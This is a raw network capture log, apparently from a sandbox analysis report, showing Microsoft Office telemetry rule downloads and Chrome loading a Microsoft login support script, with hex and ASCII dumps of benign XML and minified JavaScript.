2024-12-05 21:17:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211700Z-1746fd949bdl6zq5hC1EWRf3ws00000002vg00000000sww4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 28426bd4-401e-0047-368d-468597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211700Z-1746fd949bdw2rg8hC1EWR11u400000003d000000000xxru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211700Z-1746fd949bdwt8wrhC1EWRu6rg00000003c000000000mu2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49812	152.199.21.175	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:01 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:02 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5513647 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 05 Dec 2024 21:17:01 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-12-05 21:17:02 UTC	2	IN	Data Raw: 50 50 Data Ascii: PP
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 37 Data Ascii: _E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"8004117
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d Data Ascii: UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0}
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e Data Ascii: o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ign
2024-12-05 21:17:02 UTC	3	IN	Data Raw: 53 2e 6d Data Ascii: S.m
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 Data Ascii: .vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e(e
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c 21 53 Data Ascii: t")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|!S
2024-12-05 21:17:02 UTC	16383	IN	Data Raw: 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 73 Data Ascii: n i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},this

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211702Z-1746fd949bddtfvqhC1EWRxbpg000000035000000000mg7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211702Z-1746fd949bddtfvqhC1EWRxbpg000000036g00000000dubp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211702Z-1746fd949bd9x4mhhC1EWRb76n000000036000000000yw49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
